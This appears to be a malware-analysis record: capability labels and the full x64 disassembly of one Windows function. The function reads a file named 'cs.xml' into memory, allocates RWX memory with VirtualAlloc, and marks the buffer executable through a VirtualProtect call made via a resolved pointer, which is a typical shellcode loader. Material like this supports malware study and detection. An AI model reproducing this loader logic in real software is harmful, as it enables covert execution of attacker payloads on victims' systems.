Function at 0x14000179c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
mov qword [rsp + 0x50], rax
lea rcx, str.This_Is_A_Test_Module
call fcn.14000104c
nop
mov r12d, 1
mov ebx, r12d
mov dword [rsp + 0x44], ebx
cmp ebx, 0x3e7
jge 0x140001840
mov edi, r12d
mov dword [rsp + 0x40], r12d
cmp edi, 0x6f
jge 0x14000182f
mov r9d, edi
imul r9d, ebx
mov r8d, edi
mov edx, ebx
lea rcx, str._d_d__3d
call fcn.14000104c
add edi, r12d
mov dword [rsp + 0x40], edi
jmp 0x140001809
lea rcx, [0x1400204f0]
call fcn.14000104c
add ebx, r12d
jmp 0x1400017f5
lea rdx, str.CreateEventA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
call fcn.140001118
mov ecx, eax
call fcn.140001118
xor r9d, r9d
mov r8d, r12d
xor edx, edx
xor ecx, ecx
call r14
mov qword [0x140023a80], rax
xor r15d, r15d
movdqa xmm0, xmmword [0x1400206c0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140020700]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x140020690]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmm1, xmmword [0x140020680]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmm0, xmmword [0x1400206e0]
movdqa xmmword [rsp + 0xa0], xmm0
movdqa xmm1, xmmword [0x1400206a0]
movdqa xmmword [rsp + 0xb0], xmm1
movdqa xmm0, xmmword [0x1400206f0]
movdqa xmmword [rsp + 0xc0], xmm0
lea edx, [r15 + 0x1c]
lea rcx, [rsp + 0x60]
call fcn.1400010a0
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, str.cs.xml
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
or rcx, 0xffffffffffffffff
cmp rax, rcx
jne 0x140001939
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r15d
jmp 0x1400019a0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x140024cd0], eax
test eax, eax
jne 0x140001953
mov rcx, rbx
jmp 0x14000192e
mov ecx, eax
call fcn.140007938
mov qword [0x140024cc8], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, dword [0x140024cd0]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
jne 0x140001997
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140024cc8]
call fcn.140007924
jmp 0x140001934
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r12d
test eax, eax
je 0x140001b13
mov ebx, 0x40
mov r9d, ebx
mov edx, 0x849
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov dword [rsp + 0x58], r15d
mov ecx, 0x15f90
call fcn.1400011dc
lea rdx, str.VirtualProtect
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test r14, r14
je 0x140001a3c
test rax, rax
je 0x140001a3c
mov edx, dword [0x140024cd0]
lea r9, [rsp + 0x58]
mov r8d, ebx
mov rcx, qword [0x140024cc8]
call rax
mov ebx, r15d
mov dword [rsp + 0x48], ebx
lea rcx, str.This_Is_A_Test__Under_The_Sun_There_In_No_Thing_New___:_____
call fcn.14000104c
add ebx, r12d
mov dword [rsp + 0x48], ebx
cmp ebx, 0x3e8
jl 0x140001a0d
mov rcx, rdi
call fcn.140007924
mov dword [r15], 0x2a
jmp 0x140001b13
xor eax, eax
jmp 0x140001b13
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.140001b60
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret